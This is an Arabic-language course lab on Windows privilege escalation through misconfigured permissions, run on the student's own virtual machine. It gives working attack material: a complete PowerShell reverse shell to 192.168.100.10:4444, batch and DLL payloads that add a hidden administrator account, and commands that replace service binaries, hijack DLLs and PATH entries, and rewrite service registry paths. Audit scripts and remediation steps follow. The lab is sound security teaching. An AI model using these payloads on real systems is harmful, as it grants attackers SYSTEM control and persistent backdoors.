المختبر 4.1: تصعيد الامتيازات عبر الأذونات المكوّنة بشكل خاطئ
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- تحديد الأذونات الخطيرة على الملفات والمجلدات في ويندوز
- استغلال الملفات النظامية ذات الأذونات المفرطة
- فهم واستغلال الخدمات المكوّنة بشكل خاطئ في ويندوز
- تنفيذ تصعيد الامتيازات من مستخدم إلى SYSTEM
- تطبيق مبدأ الأقل امتيازًا للدفاع
- تدقيق النظام للبحث عن أخطاء تكوين الأذونات
المدة المقدرة
35 دقيقة
المتطلبات المسبقة
- جهاز افتراضي ويندوز 10/11 مع حساب مستخدم عادي
- حساب مدير متاح للتكوين الأولي
- فهم لأذونات NTFS (دورة نظرية)
- إكمال مختبرات الوحدات السابقة
السياق المهني
تصعيد الامتيازات هو خطوة حاسمة في معظم الهجمات. بعد الحصول على الوصول الأولي (مستخدم عادي)، يسعى المهاجم للحصول على امتيازات المدير أو SYSTEM من أجل:
- تثبيت أبواب خلفية دائمة
- تعطيل برامج مكافحة الفيروسات والجدران النارية
- الوصول إلى جميع بيانات النظام
- اختراق أجهزة أخرى في الشبكة
- الحفاظ على الوصول طويل الأمد
تعد تكوينات الأذونات الخاطئة أحد الأسباب الرئيسية لتصعيد الامتيازات في الشركات. يعلمك هذا المختبر كيفية تحديدها واستغلالها في سياق محكم، ثم تصحيحها.
حالات الاستخدام المهنية:
- اختبارات الاختراق الداخلية
- تدقيق أمان محطات العمل
- التحقق من الامتثال (معايير CIS)
- تحليل سطح الهجوم
التحذير الأخلاقي والقانوني
التقنيات المستخدمة في تصعيد الامتيازات التي يتم تدريسها في هذا المختبر تمكن من الحصول على سيطرة كاملة على نظام ويندوز. يستخدم المهاجمون هذه التقنيات لاختراق الأنظمة.
مسموح بها فقط:
- على جهازك الافتراضي الشخصي
- على الأنظمة التي تملكها أو تكون مديرًا مخولًا لها
- في إطار اختبارات الاختراق بعقد موقع
- لتقييم الأمان بإذن كتابي
محظور تمامًا:
- على أنظمة الشركات بدون إذن رسمي
- على أجهزة الكمبيوتر التي لا تملكها
- للحصول على وصول غير مصرح به
- لتجاوز تدابير الأمان بدون إذن
العواقب القانونية: تصعيد الامتيازات غير المصرح به = وصول غير قانوني إلى نظام حاسوبي (القانون الجنائي الكندي، المادة 342.1). العقوبات: غرامات ضخمة وسجن.
الجزء 1: فهم أذونات ويندوز
الخطوة 1.1: نموذج الأمان في ويندوز
مستويات الامتيازات:
-
مستخدم عادي
- يمكنه تعديل ملفاته الخاصة
- يمكنه تشغيل معظم البرامج
- لا يمكنه تثبيت برامج النظام
- لا يمكنه تعديل ملفات النظام
- لا يمكنه الوصول إلى ملفات المستخدمين الآخرين
-
مدير
- يمكنه تثبيت البرامج
- يمكنه تعديل تكوين النظام
- يمكنه إنشاء/حذف المستخدمين
- يمكنه تعديل الأذونات
- محدود بواسطة UAC في بعض الإجراءات
-
SYSTEM
- حساب نظام ويندوز
- امتيازات قصوى
- أقوى من المدير
- لا توجد قيود UAC
- سيطرة كاملة على النظام
هدف هذا المختبر: الانتقال من مستخدم عادي إلى SYSTEM
الخطوة 1.2: أمر ICacls - تدقيق الأذونات
يسمح الأمر icacls برؤية وتعديل أذونات NTFS.
الصيغة الأساسية:
icacls "C:\chemin\vers\fichier"
قراءة الأذونات:
F = التحكم الكامل
M = تعديل
RX = قراءة وتشغيل
R = قراءة
W = كتابة
أمثلة على المخرجات:
C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
أسئلة:
- ما هو مستوى الامتياز لحسابك الحالي؟ (نفذ
whoami /groups) - هل يمكنك تعديل ملف في C:\Windows\System32 كمستخدم عادي؟
الخطوة 1.3: البحث عن ملفات ذات أذونات غير صحيحة
أمر البحث:
icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"
التفسير:
- يفحص جميع الملفات في Program Files
/T= تكراري2>nul= تجاهل الأخطاء- يبحث عن أذونات التحكم الكامل لـ Everyone أو Users أو لك
بديل PowerShell (أقوى):
Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$acl = Get-Acl $_.FullName
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -match "FullControl|Modify|Write")
}
if ($writeAccess) {
[PSCustomObject]@{
Path = $_.FullName
Identity = $writeAccess.IdentityReference
Rights = $writeAccess.FileSystemRights
}
}
}
أسئلة: 3. هل وجدت ملفات ذات أذونات مفرطة؟ 4. لماذا تعتبر هذه الأذونات خطيرة؟
الجزء 2: استغلال الخدمة مع بائن قابل للكتابة
الخطوة 2.1: مفهوم الهجوم
المبدأ:
- خدمة ويندوز تعمل كـ SYSTEM
- البائن (ملف .exe) للخدمة لديه أذونات غير صحيحة
- يمكن للمستخدم العادي تعديل البائن
- استبدال بـ reverse shell أو backdoor
- إعادة تشغيل الخدمة
- يتم تنفيذ الكود الضار كـ SYSTEM
النتيجة: تصعيد من مستخدم إلى SYSTEM في خطوتين!
الخطوة 2.2: إنشاء خدمة ضعيفة (إعداد)
ملاحظة: يتم تنفيذ هذه الخطوة بواسطة المدير لإنشاء البيئة الضعيفة.
على جهازك الافتراضي، كمدير:
أنشئ خدمة بسيطة VulnService.exe:
@echo off
REM خدمة بسيطة لا تفعل شيئًا
:loop
timeout /t 10 /nobreak > nul
goto loop
احفظ كـ VulnService.bat، ثم أنشئ مغلفًا:
echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat
أنشئ الخدمة:
sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "خدمة اختبار لمختبر الأمان"
امنح أذونات WRITE لـ Users (ضعيفة عمدًا!):
icacls "C:\Services\VulnService.bat" /grant Users:F
تحقق:
icacls "C:\Services\VulnService.bat"
يجب أن يظهر: BUILTIN\Users:(F)
الخطوة 2.3: تعداد الخدمات (كمستخدم)
الآن، قم بتسجيل الدخول كمستخدم عادي.
قائمة جميع الخدمات:
sc query type= service state= all
البحث عن الخدمات التي تعمل كـ SYSTEM:
Get-WmiObject win32_service |
Where-Object {$_.StartMode -ne "Disabled"} |
Select-Object Name, DisplayName, PathName, StartName, State |
Format-Table -AutoSize
ابحث بشكل خاص عن:
StartName=LocalSystem(SYSTEM)- خدمات مخصصة (ليست من مايكروسوفت)
تحديد VulnService:
sc qc VulnService
لاحظ المسار: C:\Services\VulnService.bat
أسئلة: 5. كم عدد الخدمات التي تعمل كـ SYSTEM؟ 6. ما هو مسار بائن VulnService؟
الخطوة 2.4: التحقق من أذونات البائن
تحقق مما إذا كان يمكنك تعديل الملف:
icacls "C:\Services\VulnService.bat"
إذا رأيت:
BUILTIN\Users:(F)
تم العثور على الضعف! يمكنك تعديل هذا الملف!
اختبار التعديل:
echo REM Test modification >> C:\Services\VulnService.bat
إذا لم يكن هناك خطأ: يمكنك التعديل! الاستغلال ممكن!
أسئلة: 7. هل يمكنك تعديل بائن الخدمة كمستخدم؟ 8. ما هو الحساب الذي يشغل هذه الخدمة؟
الخطوة 2.5: الاستغلال - الاستبدال بـ Reverse Shell
أنشئ حمولتك (reverse shell بسيط):
احفظ payload.bat:
@echo off
REM Reverse shell إلى 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
أو نسخة بسيطة تنشئ حساب مدير:
@echo off
net user hacker Password123! /add
net localgroup Administrateurs hacker /add
استبدل الخدمة:
copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat
أعد تشغيل الخدمة:
sc stop VulnService
sc start VulnService
بوم! الخدمة تعمل كـ SYSTEM مع كودك!
إذا كان reverse shell: يتلقى المستمع اتصالًا كـ SYSTEM
إذا كان إنشاء حساب: تم إنشاء حساب مدير جديد!
التحقق:
net user
يجب أن ترى الحساب "hacker"!
net localgroup Administrateurs
الحساب "hacker" موجود في مجموعة المدراء!
أسئلة: 9. هل نجح الاستغلال؟ 10. كم من الوقت استغرق التصعيد الكامل (من الاكتشاف إلى الاستغلال)؟
الجزء 3: استغلال DLL Hijacking
الخطوة 3.1: فهم DLL Hijacking
المبدأ:
عندما يبدأ برنامج ويندوز:
- يبحث عن DLL اللازمة
- ترتيب بحث محدد مسبقًا (DLL Search Order)
- إذا تم العثور على DLL في PATH قبل الموقع الحقيقي: يتم تحميلها!
ترتيب البحث النموذجي:
- مجلد التطبيق
- System32
- Windows
- المجلد الحالي
- المجلدات في PATH
الاستغلال:
- وضع DLL ضارة في مجلد يتم البحث فيه أولاً
- التطبيق يحمل DLL الخاصة بنا بدلاً من الشرعية
- يتم تنفيذ الكود الضار بامتيازات التطبيق
الخطوة 3.2: تحديد التطبيقات الضعيفة
أداة: Process Monitor (Sysinternals)
تنزيل: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
التكوين:
- تشغيل Process Monitor كمدير
- الفلاتر:
- العملية:
CreateFile - المسار:
ends with .dll - النتيجة:
NAME NOT FOUND
- العملية:
تشغيل تطبيق ومراقبة:
سترى جميع DLL التي يبحث عنها التطبيق ولكن لا يجدها!
مثال على المخرجات:
explorer.exe CreateFile C:\Windows\version.dll NAME NOT FOUND
explorer.exe CreateFile C:\Program Files\...\missing.dll NAME NOT FOUND
إذا كان أحد هذه المسارات قابلاً للكتابة بواسطة Users: الاستغلال ممكن!
الخطوة 3.3: إنشاء DLL ضارة (عرض)
ملاحظة: يتطلب إنشاء DLL تجميع. لهذا المختبر، سنستخدم DLL اختبارية.
مفهوم DLL ضارة:
// payload.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// كود ضار يتم تنفيذه عند التحميل
WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
}
return TRUE;
}
التجميع:
x86_64-w64-mingw32-gcc payload.c -shared -o version.dll
الوضع:
copy version.dll "C:\Writable\Path\version.dll"
إعادة تشغيل التطبيق:
يحمل التطبيق DLL المزيفة وينفذ الكود الضار!
أسئلة: 11. ما هي التطبيقات التي بحثت عن DLL غير موجودة؟ 12. ما هي المسارات القابلة للكتابة بواسطة المستخدم الخاص بك؟
الخطوة 3.4: استغلال متغير PATH
تحقق من PATH الخاص بك:
echo %PATH%
البحث عن المجلدات ذات الوصول للكتابة:
$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
$acl = Get-Acl $_
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host "VULNERABLE: $_" -ForegroundColor Red
Write-Host " Permissions: $($writeAccess.FileSystemRights)"
}
}
}
إذا كان مجلد في PATH قابلاً للكتابة:
- يبحث التطبيق عن DLL
- يتم وضع DLL ضارة في PATH القابل للكتابة
- يجدها ويندوز ويحملها
- يتم تنفيذ الكود الضار!
عرض:
REM إذا كان C:\Tools في PATH وقابل للكتابة
copy malicious.dll C:\Tools\commonlib.dll
التطبيق التالي الذي يبحث عن commonlib.dll سيحمل خاصتك!
الجزء 4: استغلال الملفات النظامية القابلة للكتابة
الخطوة 4.1: البحث عن ملفات نظامية ذات أذونات غير صحيحة
سكريبت PowerShell للتعداد:
Write-Host "=== AUDIT DE PERMISSIONS - FICHIERS SYSTEME ===" -ForegroundColor Cyan
$systemPaths = @(
"C:\Windows\System32",
"C:\Windows\SysWOW64",
"C:\Program Files",
"C:\Program Files (x86)"
)
$vulnerableFiles = @()
foreach ($path in $systemPaths) {
if (Test-Path $path) {
Write-Host "`nScanning: $path" -ForegroundColor Yellow
Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$acl = Get-Acl $_.FullName -ErrorAction Stop
$dangerousPerms = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*" -or
$_.IdentityReference -like "*Authenticated Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl") -and
($_.AccessControlType -eq "Allow")
}
if ($dangerousPerms) {
$vulnerableFiles += [PSCustomObject]@{
File = $_.FullName
Identity = $dangerousPerms.IdentityReference -join ", "
Rights = $dangerousPerms.FileSystemRights -join ", "
}
}
} catch {}
}
}
}
if ($vulnerableFiles.Count -gt 0) {
Write-Host "`n=== FICHIERS VULNERABLES TROUVES ===" -ForegroundColor Red
$vulnerableFiles | Format-Table -AutoSize
} else {
Write-Host "`nAucune vulnérabilité de permission trouvée." -ForegroundColor Green
}
احفظ كـ permission_audit.ps1 ونفذ:
powershell -ExecutionPolicy Bypass -File permission_audit.ps1
النتيجة المتوقعة:
إذا كان النظام مكونًا بشكل جيد: لا توجد ثغرات
إذا كان مكونًا بشكل سيء: قائمة بالملفات القابلة للاستغلال
الخطوة 4.2: سيناريو - استغلال بائن قابل للكتابة
إذا وجدت ملف نظامي قابل للكتابة:
مثال: C:\Program Files\SomeApp\app.exe مع أذونات Users:(M)
الاستغلال:
- نسخ الأصل:
copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"
- استبدال بحمولة:
copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"
-
انتظار أو فرض التنفيذ:
- إذا كانت خدمة:
sc start ServiceName - إذا كانت تطبيق: يقوم المستخدم بتشغيلها
- إذا كانت مهمة مجدولة: انتظار الوقت
- إذا كانت خدمة:
-
يتم تنفيذ الحمولة بامتيازات التطبيق!
أسئلة: 13. ما هي أنواع الملفات النظامية التي يمكنك استغلالها؟ 14. كيف يجب على المدير تكوين الأذونات؟
الجزء 5: مسارات الخدمة غير المقتبسة
الخطوة 5.1: فهم الثغرة
المشكلة: خدمة مع مسار يحتوي على مسافات وغير محاط بعلامات اقتباس
مثال على خدمة ضعيفة:
binPath= C:\Program Files\My Service\service.exe
سيبحث ويندوز بهذا الترتيب:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Service\service.exe
إذا كان بإمكانك الكتابة في C:\ أو C:\Program Files\:
- ضع
Program.exeأوMy.exe - سيقوم ويندوز بتنفيذه أولاً!
- بامتيازات الخدمة (غالبًا SYSTEM)
الخطوة 5.2: البحث عن خدمات ضعيفة
PowerShell:
Get-WmiObject win32_service |
Where-Object {
$_.PathName -notmatch '^".*"' -and
$_.PathName -match ' ' -and
$_.StartName -like '*System*'
} |
Select-Object Name, PathName, StartName, State |
Format-List
CMD:
wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """
النتيجة النموذجية:
Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem
انتبه للمسافات وغياب علامات الاقتباس!
الخطوة 5.3: الاستغلال
إذا وجدت:
PathName: C:\Program Files\My Service\app.exe
وأن C:\Program Files\ قابل للكتابة (نادر ولكن ممكن):
أنشئ My.exe (حمولة):
copy payload.exe "C:\Program Files\My.exe"
أعد تشغيل الخدمة:
sc stop VulnerableService
sc start VulnerableService
يقوم ويندوز بتنفيذ C:\Program Files\My.exe بدلاً من My Service\app.exe!
أسئلة: 15. هل وجدت خدمات ذات مسارات غير مقتبسة؟ 16. لماذا توجد هذه الثغرة؟
الجزء 6: أذونات المجلدات وAlwaysInstallElevated
الخطوة 6.1: AlwaysInstallElevated
سياسة سجل خطيرة:
إذا كانت هاتان المفتاحان موجودتان ومضبوطان على 1:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
النتيجة: يتم تثبيت جميع ملفات .msi بامتيازات SYSTEM!
التحقق:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
إذا أعاد كلاهما 0x1: الثغرة موجودة!
الاستغلال:
- إنشاء .msi ضار (باستخدام msfvenom أو WiX Toolset)
- تنفيذ:
msiexec /quiet /qn /i malicious.msi - التثبيت بامتيازات SYSTEM!
- يتم تنفيذ الحمولة كـ SYSTEM!
PowerShell - التحقق التلقائي:
function Test-AlwaysInstallElevated {
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
Write-Host "VULNERABLE: AlwaysInstallElevated مفعل!" -ForegroundColor Red
return $true
} else {
Write-Host "غير معرض للخطر" -ForegroundColor Green
return $false
}
}
Test-AlwaysInstallElevated
الخطوة 6.2: سجل قابل للكتابة
بعض مفاتيح السجل تتحكم في الخدمات:
البحث عن مفاتيح الخدمات ذات الأذونات القابلة للكتابة:
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
try {
$acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
$_.IdentityReference -like "*Users*" -and
$_.RegistryRights -match "WriteKey|FullControl"
}
if ($writeAccess) {
Write-Host "Vulnerable: $($_.PSChildName)"
Write-Host " Rights: $($writeAccess.RegistryRights)"
}
} catch {}
}
إذا كانت مفتاح خدمة قابلة للكتابة:
تعديل ImagePath (مسار البائن):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f
إعادة تشغيل الخدمة: يتم تنفيذ الحمولة كـ SYSTEM!
أسئلة: 17. هل هناك مفاتيح سجل خدمات قابلة للكتابة بواسطة Users؟ 18. لماذا يعد السماح لـ Users بتعديل سجل النظام خطيرًا؟
الجزء 7: الكشف والدفاع
الخطوة 7.1: سكريبت تدقيق كامل
أنشئ escalation_audit.ps1:
Write-Host "=== AUDIT D'ESCALADE DE PRIVILEGES ===" -ForegroundColor Cyan
Write-Host ""
# 1. خدمات ذات بائنات قابلة للكتابة
Write-Host "[1] خدمات ذات بائنات قابلة للكتابة" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
$path = $_.PathName -replace '"','' -replace ' .*',''
if (Test-Path $path) {
try {
$acl = Get-Acl $path -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host " VULNERABLE: $($_.Name)" -ForegroundColor Red
Write-Host " Path: $path"
Write-Host " Runs as: $($_.StartName)"
}
} catch {}
}
}
# 2. مسارات الخدمة غير المقتبسة
Write-Host "`n[2] مسارات الخدمة غير المقتبسة" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
$_.PathName -notmatch '^".*"' -and
$_.PathName -match ' ' -and
$_.StartName -like '*System*'
} | ForEach-Object {
Write-Host " VULNERABLE: $($_.Name)" -ForegroundColor Red
Write-Host " Path: $($_.PathName)"
}
# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
Write-Host " VULNERABLE: AlwaysInstallElevated مفعل" -ForegroundColor Red
} else {
Write-Host " غير معرض للخطر" -ForegroundColor Green
}
# 4. مجلدات في PATH قابلة للكتابة
Write-Host "`n[4] مجلدات PATH قابلة للكتابة" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
try {
$acl = Get-Acl $_ -ErrorAction Stop
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*") -and
($_.FileSystemRights -match "Write|Modify|FullControl")
}
if ($writeAccess) {
Write-Host " VULNERABLE: $_" -ForegroundColor Red
}
} catch {}
}
}
Write-Host "`n=== AUDIT TERMINE ===" -ForegroundColor Cyan
نفذ:
powershell -ExecutionPolicy Bypass -File escalation_audit.ps1
تقرير كامل عن جميع الثغرات في التصعيد!
الخطوة 7.2: تصحيح الأذونات
لتصحيح إذن غير صحيح:
إزالة الوصول للكتابة لـ Users:
icacls "C:\Services\VulnService.bat" /remove Users
منح فقط Read & Execute:
icacls "C:\Services\VulnService.bat" /grant Users:RX
منح التحكم الكامل فقط لـ SYSTEM وAdmins:
icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F
التحقق:
icacls "C:\Services\VulnService.bat"
يجب أن يظهر:
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)
تم تطبيق مبدأ الأقل امتيازًا!
الخطوة 7.3: الممارسات الجيدة
لتجنب هذه الثغرات:
-
الخدمات:
- استخدم دائمًا علامات الاقتباس في binPath
- أذونات مقيدة على البائنات (RX لـ Users كحد أقصى)
- تشغيل الخدمات بحسابات مخصصة (ليس SYSTEM إذا أمكن)
- التدقيق بانتظام
-
الملفات النظامية:
- لا يوجد تحكم كامل لـ Users
- التعديل محجوز لـ SYSTEM وAdmins
- تدقيق آلي أسبوعي
-
PATH:
- لا توجد مجلدات قابلة للكتابة بواسطة Users في PATH النظامي
- مجلدات شخصية فقط في PATH المستخدم
-
السجل:
- أذونات صارمة على HKLM\SYSTEM
- مراقبة التعديلات
- تنبيهات على تغييرات الخدمات
-
AlwaysInstallElevated:
- لا تقم أبدًا بتفعيل هذه السياسة
- تحقق بانتظام من أنها معطلة
أسئلة: 19. ما هو الإذن الأكثر أمانًا لبائن الخدمة؟ 20. كيف يمكنك أتمتة تدقيق الأذونات؟
التسليمات
يجب تقديم:
-
تقرير الاستغلال (Word/PDF، 4-5 صفحات):
- إجابات على الأسئلة العشرين
- منهجية التصعيد المستخدمة
- الوقت المقاس لكل خطوة
- لقطات شاشة للاستغلالات الناجحة
-
لقطات شاشة (الحد الأدنى 6):
- حساب المستخدم العادي الأولي (whoami)
- اكتشاف خدمة ضعيفة (icacls)
- تعديل بائن الخدمة
- الحصول على حساب SYSTEM أو إنشاء مدير
- نتيجة سكريبت permission_audit.ps1
- الأذونات المصححة
-
سكريبت التدقيق (PowerShell):
- نسخة محسنة من permission_audit.ps1
- تصدير النتائج إلى CSV
- تقرير HTML مولد
-
خطة العلاج (2 صفحات):
- قائمة الثغرات المكتشفة
- الأولوية حسب المخاطر
- الإجراءات التصحيحية الموصى بها
- جدول زمني للتنفيذ
معايير التقييم
| المعيار | النقاط |
|---|---|
| تحديد ثغرات الأذونات | 25% |
| استغلال ناجح (تصعيد الامتيازات) | 30% |
| فهم نواقل الهجوم | 20% |
| سكريبت تدقيق وظيفي | 15% |
| خطة علاج واقعية | 10% |
أوامر مرجعية سريعة
التعداد
whoami /all
icacls "fichier.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
PowerShell
Get-Acl "fichier" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl
الاستغلال
copy payload.exe "vulnerable_path.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add
التصحيح
icacls "file" /remove Users
icacls "file" /grant Users:RX
icacls "file" /grant SYSTEM:F
استكشاف الأخطاء وإصلاحها
مشكلة: "تم رفض الوصول" عند تعديل ملف
الحل: هذا طبيعي إذا كانت الأذونات صحيحة! ابحث عن ملفات أخرى أو أنشئ خدمة ضعيفة للمختبر.
مشكلة: لم يتم العثور على أي خدمة ضعيفة
الحل: أنشئ واحدة عمدًا (الخطوة 2.2) لممارسة الاستغلال.
مشكلة: الخدمة لا تعيد التشغيل
الحل:
- تحقق من وجود الخدمة:
sc query ServiceName - تحقق من الأذونات: قد تكون حقوق المدير مطلوبة
- تحقق من السجلات:
eventvwr.msc→ سجلات ويندوز → النظام
الذهاب أبعد (اختياري)
التحدي 1: الاستغلال الآلي
أنشئ سكريبت يقوم بـ:
- فحص جميع الخدمات تلقائيًا
- تحديد تلك ذات البائنات القابلة للكتابة
- توليد حمولات مناسبة
- سرد جميع طرق التصعيد الممكنة
التحدي 2: PowerUp
استخدم أداة PowerUp (PowerShell Empire):
Import-Module .\PowerUp.ps1
Invoke-AllChecks
قارن مع سكريبت التدقيق الخاص بك.
التحدي 3: قاعدة بيانات تصعيد الامتيازات
ابحث ووثق:
- Windows Exploit Suggester
- JAWS (Just Another Windows enum Script)
- WinPEAS
- Sherlock
اختبرها على جهازك الافتراضي وقارن النتائج.
موارد إضافية
- Microsoft: Access Control Lists
- ICacls Documentation
- Windows Privilege Escalation Guide
- PowerUp Tool
الخاتمة
علمك هذا المختبر:
- تحديد ثغرات الأذونات في ويندوز
- استغلال الخدمات المكوّنة بشكل خاطئ لتصعيد الامتيازات
- فهم نواقل الهجوم: بائنات قابلة للكتابة، DLL hijacking، مسارات غير مقتبسة
- إجراء تدقيق كامل للأذونات
- تطبيق مبدأ الأقل امتيازًا
الدروس الرئيسية:
- الأذونات غير الصحيحة هي سبب رئيسي لتصعيد الامتيازات
- الخدمات التي تعمل كـ SYSTEM مع بائنات قابلة للكتابة = ثغرة حرجة
- التدقيق المنتظم للأذونات ضروري
- يجب تطبيق مبدأ الأقل امتيازًا بشكل منهجي
- أتمتة التدقيق تمكن من اكتشاف المشاكل بسرعة
في بيئة حقيقية:
- هذه الثغرات شائعة، خاصة في التطبيقات الخارجية
- يمكن أن يستغرق الاستغلال أقل من 5 دقائق
- الكشف صعب بدون مراقبة مناسبة
- تأثير حرج: السيطرة الكاملة على النظام
الخطوة التالية: المختبر 4.2 حيث ستتعلم إخفاء الملفات الضارة باستخدام Alternate Data Streams من NTFS!
مختبر تم تطويره في إطار دورة أنظمة التشغيل - الوحدة 4